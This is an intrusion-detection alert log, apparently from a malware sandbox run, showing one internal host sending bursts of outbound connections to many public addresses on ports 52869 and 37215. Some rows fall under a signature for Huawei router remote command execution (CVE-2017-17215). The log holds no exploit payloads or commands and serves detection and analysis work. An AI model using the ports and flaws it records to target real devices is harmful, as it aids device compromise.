2024-10-06T20:02:05.936369+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40652	197.216.27.159	52869	TCP
2024-10-06T20:02:05.952475+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42412	41.230.183.35	52869	TCP
2024-10-06T20:02:05.967549+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40338	41.13.194.249	52869	TCP
2024-10-06T20:02:05.968138+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47216	156.169.117.155	52869	TCP
2024-10-06T20:02:05.999505+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39630	197.236.45.176	52869	TCP
2024-10-06T20:02:06.016913+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39898	156.22.76.121	52869	TCP
2024-10-06T20:02:06.017035+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51176	197.7.155.152	52869	TCP
2024-10-06T20:02:06.018865+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35784	197.219.77.107	52869	TCP
2024-10-06T20:02:06.018903+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37126	156.254.184.38	52869	TCP
2024-10-06T20:02:06.124718+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50610	156.235.8.66	52869	TCP
2024-10-06T20:02:06.968908+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35380	41.228.67.29	52869	TCP
2024-10-06T20:02:06.983828+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60644	197.158.103.105	52869	TCP
2024-10-06T20:02:06.983955+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43836	197.251.115.50	52869	TCP
2024-10-06T20:02:06.984052+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34158	41.226.20.42	52869	TCP
2024-10-06T20:02:06.984422+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39092	41.253.249.41	52869	TCP
2024-10-06T20:02:06.985672+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43466	197.157.202.129	52869	TCP
2024-10-06T20:02:06.999045+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55200	41.44.140.36	52869	TCP
2024-10-06T20:02:06.999572+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51580	41.13.9.25	52869	TCP
2024-10-06T20:02:07.015091+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54834	41.218.49.75	52869	TCP
2024-10-06T20:02:07.015102+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49236	156.228.67.136	52869	TCP
2024-10-06T20:02:07.030690+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45388	197.191.204.23	52869	TCP
2024-10-06T20:02:07.046407+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48882	41.15.219.211	52869	TCP
2024-10-06T20:02:07.094126+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47132	41.148.33.67	52869	TCP
2024-10-06T20:02:07.144511+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59464	197.107.155.105	52869	TCP
2024-10-06T20:02:07.985666+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38594	41.238.249.193	52869	TCP
2024-10-06T20:02:07.998907+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45360	41.42.206.30	52869	TCP
2024-10-06T20:02:07.999514+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34806	41.85.78.129	52869	TCP
2024-10-06T20:02:07.999520+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53040	156.210.108.229	52869	TCP
2024-10-06T20:02:08.015151+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54830	41.98.31.233	52869	TCP
2024-10-06T20:02:08.015403+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59018	156.72.250.194	52869	TCP
2024-10-06T20:02:08.016684+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41558	197.60.235.92	52869	TCP
2024-10-06T20:02:08.018783+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50850	197.128.237.160	52869	TCP
2024-10-06T20:02:08.018906+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53102	197.72.55.19	52869	TCP
2024-10-06T20:02:08.018925+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34854	197.43.136.7	52869	TCP
2024-10-06T20:02:08.018985+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54370	197.184.33.50	52869	TCP
2024-10-06T20:02:08.019107+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58112	197.195.155.84	52869	TCP
2024-10-06T20:02:08.019253+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53372	197.133.138.141	52869	TCP
2024-10-06T20:02:08.019461+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44900	41.53.217.206	52869	TCP
2024-10-06T20:02:08.032581+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49838	41.9.235.230	52869	TCP
2024-10-06T20:02:08.034448+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53734	156.187.151.248	52869	TCP
2024-10-06T20:02:08.034448+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47014	41.63.200.243	52869	TCP
2024-10-06T20:02:08.036396+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40508	156.202.160.142	52869	TCP
2024-10-06T20:02:08.061956+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44350	197.168.152.138	52869	TCP
2024-10-06T20:02:08.061969+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40094	41.122.118.239	52869	TCP
2024-10-06T20:02:08.093377+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58888	197.110.89.224	52869	TCP
2024-10-06T20:02:08.094479+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33812	41.80.76.228	52869	TCP
2024-10-06T20:02:08.098872+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55868	41.16.149.157	52869	TCP
2024-10-06T20:02:08.330116+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56982	156.154.245.185	52869	TCP
2024-10-06T20:02:09.043793+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55816	41.57.101.134	52869	TCP
2024-10-06T20:02:09.046386+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57328	156.247.125.222	52869	TCP
2024-10-06T20:02:09.063736+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33950	156.214.229.255	52869	TCP
2024-10-06T20:02:09.114878+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60640	41.39.163.238	52869	TCP
2024-10-06T20:02:10.043358+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50538	197.33.88.7	52869	TCP
2024-10-06T20:02:10.125453+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58816	41.114.219.198	52869	TCP
2024-10-06T20:02:11.081769+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54162	41.236.225.47	52869	TCP
2024-10-06T20:02:11.095470+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58966	197.77.227.24	52869	TCP
2024-10-06T20:02:12.799578+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38154	197.57.209.194	52869	TCP
2024-10-06T20:02:12.852490+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41228	41.43.93.94	52869	TCP
2024-10-06T20:02:12.879503+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35076	197.58.48.81	52869	TCP
2024-10-06T20:02:12.889814+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53838	197.48.214.44	52869	TCP
2024-10-06T20:02:13.046745+0200	2027339	1	A Network Trojan was detected	192.168.2.15	35930	197.161.159.16	52869	TCP
2024-10-06T20:02:13.077847+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49534	197.166.40.5	52869	TCP
2024-10-06T20:02:13.078385+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56864	41.157.207.32	52869	TCP
2024-10-06T20:02:13.079587+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57480	197.165.209.47	52869	TCP
2024-10-06T20:02:13.093433+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55764	197.252.243.62	52869	TCP
2024-10-06T20:02:14.109161+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51554	156.81.127.121	52869	TCP
2024-10-06T20:02:14.116738+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60086	156.189.16.238	52869	TCP
2024-10-06T20:02:14.128953+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33590	156.153.53.26	52869	TCP
2024-10-06T20:02:16.331937+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39318	197.105.153.187	52869	TCP
2024-10-06T20:02:16.364772+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59076	156.197.1.6	52869	TCP
2024-10-06T20:02:18.363068+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43778	41.21.9.55	52869	TCP
2024-10-06T20:02:19.140645+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33908	197.192.168.176	52869	TCP
2024-10-06T20:02:19.156059+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54968	41.201.71.70	52869	TCP
2024-10-06T20:02:19.226491+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52542	156.156.223.100	52869	TCP
2024-10-06T20:02:19.359324+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47008	197.168.21.144	52869	TCP
2024-10-06T20:02:20.157378+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60272	41.26.49.109	52869	TCP
2024-10-06T20:02:20.187640+0200	2027339	1	A Network Trojan was detected	192.168.2.15	48892	41.214.2.65	52869	TCP
2024-10-06T20:02:22.172547+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34354	197.24.175.92	52869	TCP
2024-10-06T20:02:22.173309+0200	2027339	1	A Network Trojan was detected	192.168.2.15	53320	156.29.70.242	52869	TCP
2024-10-06T20:02:22.175711+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47874	156.99.195.96	52869	TCP
2024-10-06T20:02:22.175964+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57936	197.10.235.141	52869	TCP
2024-10-06T20:02:22.187292+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40288	197.33.50.243	52869	TCP
2024-10-06T20:02:22.187335+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40666	41.103.82.45	52869	TCP
2024-10-06T20:02:22.189041+0200	2027339	1	A Network Trojan was detected	192.168.2.15	40160	156.82.144.173	52869	TCP
2024-10-06T20:02:22.189148+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39726	197.21.35.211	52869	TCP
2024-10-06T20:02:22.190939+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45158	41.114.205.180	52869	TCP
2024-10-06T20:02:22.191074+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39520	41.88.205.8	52869	TCP
2024-10-06T20:02:22.191209+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36556	156.243.37.14	52869	TCP
2024-10-06T20:02:22.191326+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55696	41.62.66.35	52869	TCP
2024-10-06T20:02:22.202982+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46358	197.141.233.223	52869	TCP
2024-10-06T20:02:22.204962+0200	2027339	1	A Network Trojan was detected	192.168.2.15	42116	156.182.220.21	52869	TCP
2024-10-06T20:02:22.206936+0200	2027339	1	A Network Trojan was detected	192.168.2.15	60376	156.143.158.210	52869	TCP
2024-10-06T20:02:22.208477+0200	2027339	1	A Network Trojan was detected	192.168.2.15	54722	156.215.237.240	52869	TCP

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T20:00:47.023037+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40962	156.246.99.143	37215	TCP
2024-10-06T20:00:47.052813+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46926	156.242.29.171	37215	TCP
2024-10-06T20:00:47.518455+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50184	197.6.95.61	37215	TCP
2024-10-06T20:00:53.904285+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42726	41.160.52.73	37215	TCP
2024-10-06T20:00:57.026917+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56254	197.158.65.252	37215	TCP
2024-10-06T20:01:06.842021+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36682	197.229.12.237	37215	TCP
2024-10-06T20:01:06.842021+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53674	156.28.135.157	37215	TCP
2024-10-06T20:01:06.857540+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34404	197.189.46.106	37215	TCP
2024-10-06T20:01:06.857641+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49448	197.240.195.4	37215	TCP
2024-10-06T20:01:06.857676+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47958	156.147.156.210	37215	TCP
2024-10-06T20:01:06.859154+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43324	41.50.215.105	37215	TCP
2024-10-06T20:01:06.859180+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49850	41.218.74.136	37215	TCP
2024-10-06T20:01:06.859303+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58802	41.128.20.63	37215	TCP
2024-10-06T20:01:06.869196+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58166	197.192.233.157	37215	TCP
2024-10-06T20:01:06.873264+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58404	197.41.142.52	37215	TCP
2024-10-06T20:01:06.873516+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48774	197.235.232.143	37215	TCP
2024-10-06T20:01:06.873664+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45390	41.241.161.251	37215	TCP
2024-10-06T20:01:06.874913+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49766	156.203.1.203	37215	TCP
2024-10-06T20:01:06.874952+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55486	197.83.37.51	37215	TCP
2024-10-06T20:01:06.875004+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56060	156.91.147.218	37215	TCP
2024-10-06T20:01:06.875127+0200	2835222	1	A Network Trojan was detected	192.168.2.15	32888	156.205.129.99	37215	TCP
2024-10-06T20:01:06.875238+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51892	197.164.55.197	37215	TCP
2024-10-06T20:01:06.875390+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46980	197.150.169.53	37215	TCP
2024-10-06T20:01:06.877352+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51654	41.58.165.93	37215	TCP
2024-10-06T20:01:06.889010+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37592	197.164.91.95	37215	TCP
2024-10-06T20:01:06.889756+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48720	41.240.79.98	37215	TCP
2024-10-06T20:01:06.890538+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42832	156.77.142.2	37215	TCP
2024-10-06T20:01:06.890692+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55372	197.137.68.198	37215	TCP
2024-10-06T20:01:06.892744+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37136	197.107.116.23	37215	TCP
2024-10-06T20:01:06.892856+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42670	41.61.136.167	37215	TCP
2024-10-06T20:01:06.892930+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42524	156.35.78.115	37215	TCP
2024-10-06T20:01:06.896815+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60050	41.150.0.113	37215	TCP
2024-10-06T20:01:06.904050+0200	2835222	1	A Network Trojan was detected	192.168.2.15	60460	197.164.143.249	37215	TCP
2024-10-06T20:01:06.904360+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51070	41.113.206.125	37215	TCP
2024-10-06T20:01:06.904674+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54606	156.112.233.104	37215	TCP
2024-10-06T20:01:06.905212+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42190	156.104.113.198	37215	TCP
2024-10-06T20:01:06.906182+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54134	41.52.175.140	37215	TCP
2024-10-06T20:01:06.906692+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53076	156.189.150.200	37215	TCP
2024-10-06T20:01:06.908533+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41016	197.66.17.119	37215	TCP
2024-10-06T20:01:06.908705+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56462	41.166.51.57	37215	TCP
2024-10-06T20:01:06.908812+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55974	41.224.228.252	37215	TCP
2024-10-06T20:01:06.935262+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45600	41.172.241.134	37215	TCP
2024-10-06T20:01:06.935661+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53332	156.59.176.98	37215	TCP
2024-10-06T20:01:06.935724+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44266	156.171.125.229	37215	TCP
2024-10-06T20:01:06.935802+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41996	41.216.18.137	37215	TCP
2024-10-06T20:01:06.935820+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58002	41.147.247.83	37215	TCP
2024-10-06T20:01:06.939862+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59470	156.209.57.80	37215	TCP
2024-10-06T20:01:06.941319+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51842	197.233.118.113	37215	TCP
2024-10-06T20:01:06.951523+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34590	197.21.179.212	37215	TCP
2024-10-06T20:01:06.966658+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51694	41.138.115.205	37215	TCP
2024-10-06T20:01:06.966959+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53652	41.196.72.88	37215	TCP
2024-10-06T20:01:06.967054+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50154	197.163.24.101	37215	TCP
2024-10-06T20:01:06.967169+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52056	41.68.38.42	37215	TCP
2024-10-06T20:01:06.967404+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39960	197.177.137.165	37215	TCP
2024-10-06T20:01:06.967548+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36388	197.36.180.150	37215	TCP
2024-10-06T20:01:06.968087+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58928	197.252.154.175	37215	TCP
2024-10-06T20:01:06.968098+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53074	197.30.226.169	37215	TCP
2024-10-06T20:01:06.968876+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40368	156.87.207.127	37215	TCP
2024-10-06T20:01:06.971164+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46368	156.33.124.178	37215	TCP
2024-10-06T20:01:06.972656+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53484	197.103.184.79	37215	TCP
2024-10-06T20:01:06.973004+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40824	197.23.127.152	37215	TCP
2024-10-06T20:01:06.973004+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34380	156.140.244.109	37215	TCP
2024-10-06T20:01:06.982522+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39338	197.158.249.73	37215	TCP
2024-10-06T20:01:06.982605+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46142	41.117.90.99	37215	TCP
2024-10-06T20:01:06.982647+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57328	197.104.12.72	37215	TCP
2024-10-06T20:01:06.984244+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40912	41.135.148.77	37215	TCP
2024-10-06T20:01:06.984311+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36266	197.173.47.28	37215	TCP
2024-10-06T20:01:06.984412+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37310	156.169.96.48	37215	TCP
2024-10-06T20:01:06.987217+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59072	41.86.8.174	37215	TCP
2024-10-06T20:01:06.987288+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44246	41.216.41.161	37215	TCP
2024-10-06T20:01:06.988637+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47026	197.89.171.150	37215	TCP
2024-10-06T20:01:06.997645+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53922	156.149.6.181	37215	TCP
2024-10-06T20:01:06.998136+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53716	197.251.92.146	37215	TCP
2024-10-06T20:01:06.998168+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41034	41.52.161.212	37215	TCP
2024-10-06T20:01:06.998485+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54780	41.10.114.12	37215	TCP
2024-10-06T20:01:06.998733+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44816	41.120.65.207	37215	TCP
2024-10-06T20:01:06.999863+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56118	197.63.163.35	37215	TCP
2024-10-06T20:01:07.000022+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56976	197.184.245.173	37215	TCP
2024-10-06T20:01:07.001988+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41804	197.248.57.110	37215	TCP
2024-10-06T20:01:07.013996+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48358	41.42.204.129	37215	TCP
2024-10-06T20:01:07.014177+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46858	156.252.170.108	37215	TCP
2024-10-06T20:01:07.015283+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55172	197.247.139.132	37215	TCP
2024-10-06T20:01:07.019462+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58702	41.26.146.231	37215	TCP
2024-10-06T20:01:07.033095+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51978	197.133.246.15	37215	TCP
2024-10-06T20:01:07.045637+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58926	41.163.209.214	37215	TCP
2024-10-06T20:01:07.050604+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55108	197.164.25.106	37215	TCP
2024-10-06T20:01:07.059989+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38084	197.37.70.229	37215	TCP
2024-10-06T20:01:07.060583+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50170	197.164.168.63	37215	TCP
2024-10-06T20:01:07.064373+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55872	156.136.209.164	37215	TCP
2024-10-06T20:01:07.076385+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55362	156.133.233.253	37215	TCP
2024-10-06T20:01:08.060805+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57252	156.80.69.183	37215	TCP
2024-10-06T20:01:08.061199+0200	2835222	1	A Network Trojan was detected	192.168.2.15	40306	156.139.12.174	37215	TCP
2024-10-06T20:01:08.061377+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50862	41.120.114.119	37215	TCP
2024-10-06T20:01:08.062638+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58082	156.16.124.10	37215	TCP
2024-10-06T20:01:08.064544+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58478	41.233.44.190	37215	TCP
2024-10-06T20:01:08.076391+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48988	156.42.236.52	37215	TCP
2024-10-06T20:01:08.077935+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45922	41.17.121.18	37215	TCP
2024-10-06T20:01:08.080409+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48806	197.45.60.52	37215	TCP
2024-10-06T20:01:08.108569+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36376	197.24.111.30	37215	TCP
2024-10-06T20:01:08.129119+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58372	41.38.116.194	37215	TCP
2024-10-06T20:01:09.224640+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49576	41.168.107.217	37215	TCP
2024-10-06T20:01:09.224760+0200	2835222	1	A Network Trojan was detected	192.168.2.15	48338	197.98.207.60	37215	TCP
2024-10-06T20:01:10.076449+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51078	197.6.85.118	37215	TCP
2024-10-06T20:01:10.076455+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51026	41.30.135.209	37215	TCP
2024-10-06T20:01:10.076914+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51502	197.248.150.107	37215	TCP
2024-10-06T20:01:10.077956+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41450	41.196.187.73	37215	TCP
2024-10-06T20:01:10.092039+0200	2835222	1	A Network Trojan was detected	192.168.2.15	35814	197.199.224.132	37215	TCP
2024-10-06T20:01:10.092076+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45548	156.252.219.203	37215	TCP
2024-10-06T20:01:10.092571+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54520	197.100.196.209	37215	TCP
2024-10-06T20:01:10.093651+0200	2835222	1	A Network Trojan was detected	192.168.2.15	53382	41.245.196.43	37215	TCP
2024-10-06T20:01:10.093711+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55586	156.186.47.194	37215	TCP
2024-10-06T20:01:10.095699+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37000	156.221.220.140	37215	TCP
2024-10-06T20:01:10.123298+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54668	156.129.242.169	37215	TCP
2024-10-06T20:01:10.123911+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50306	197.230.212.179	37215	TCP
2024-10-06T20:01:10.156190+0200	2835222	1	A Network Trojan was detected	192.168.2.15	43180	156.55.237.218	37215	TCP
2024-10-06T20:01:10.192038+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54364	41.242.86.254	37215	TCP
2024-10-06T20:01:10.799184+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37398	156.233.94.116	37215	TCP
2024-10-06T20:01:11.146725+0200	2835222	1	A Network Trojan was detected	192.168.2.15	41876	156.141.35.255	37215	TCP
2024-10-06T20:01:12.186019+0200	2835222	1	A Network Trojan was detected	192.168.2.15	55922	197.89.91.100	37215	TCP
2024-10-06T20:01:13.186642+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36344	197.97.199.192	37215	TCP
2024-10-06T20:01:13.203469+0200	2835222	1	A Network Trojan was detected	192.168.2.15	56256	156.100.212.224	37215	TCP
2024-10-06T20:01:13.203510+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42388	41.246.217.43	37215	TCP
2024-10-06T20:01:14.186415+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52104	156.86.3.32	37215	TCP
2024-10-06T20:01:14.201706+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46634	41.214.17.15	37215	TCP
2024-10-06T20:01:14.217239+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36206	197.131.45.214	37215	TCP
2024-10-06T20:01:14.233269+0200	2835222	1	A Network Trojan was detected	192.168.2.15	58628	41.209.22.11	37215	TCP
2024-10-06T20:01:15.234957+0200	2835222	1	A Network Trojan was detected	192.168.2.15	57050	156.4.122.123	37215	TCP
2024-10-06T20:01:16.250573+0200	2835222	1	A Network Trojan was detected	192.168.2.15	51714	156.156.206.133	37215	TCP
2024-10-06T20:01:16.254689+0200	2835222	1	A Network Trojan was detected	192.168.2.15	47120	156.150.182.225	37215	TCP
2024-10-06T20:01:16.285463+0200	2835222	1	A Network Trojan was detected	192.168.2.15	36294	41.174.209.182	37215	TCP
2024-10-06T20:01:17.250630+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45616	197.78.36.55	37215	TCP
2024-10-06T20:01:17.286368+0200	2835222	1	A Network Trojan was detected	192.168.2.15	50876	41.53.79.104	37215	TCP
2024-10-06T20:01:18.281903+0200	2835222	1	A Network Trojan was detected	192.168.2.15	46740	156.70.120.224	37215	TCP
2024-10-06T20:01:19.330741+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34906	41.99.74.98	37215	TCP
2024-10-06T20:01:22.352447+0200	2835222	1	A Network Trojan was detected	192.168.2.15	45460	197.234.189.26	37215	TCP
2024-10-06T20:01:24.648272+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44306	156.228.87.137	37215	TCP
2024-10-06T20:01:25.331063+0200	2835222	1	A Network Trojan was detected	192.168.2.15	34316	197.1.165.228	37215	TCP
2024-10-06T20:01:25.332639+0200	2835222	1	A Network Trojan was detected	192.168.2.15	54288	197.15.237.129	37215	TCP
2024-10-06T20:01:25.343510+0200	2835222	1	A Network Trojan was detected	192.168.2.15	38234	197.124.222.8	37215	TCP
2024-10-06T20:01:25.358109+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49862	197.190.67.104	37215	TCP
2024-10-06T20:01:25.358118+0200	2835222	1	A Network Trojan was detected	192.168.2.15	37580	41.227.173.44	37215	TCP
2024-10-06T20:01:25.375350+0200	2835222	1	A Network Trojan was detected	192.168.2.15	49440	156.174.157.85	37215	TCP
2024-10-06T20:01:25.377304+0200	2835222	1	A Network Trojan was detected	192.168.2.15	42902	197.15.243.190	37215	TCP
2024-10-06T20:01:25.404271+0200	2835222	1	A Network Trojan was detected	192.168.2.15	39680	41.5.250.21	37215	TCP
2024-10-06T20:01:25.404808+0200	2835222	1	A Network Trojan was detected	192.168.2.15	59606	41.145.187.204	37215	TCP
2024-10-06T20:01:25.422231+0200	2835222	1	A Network Trojan was detected	192.168.2.15	52134	156.176.75.253	37215	TCP
2024-10-06T20:01:25.439858+0200	2835222	1	A Network Trojan was detected	192.168.2.15	44026	156.90.14.178	37215	TCP
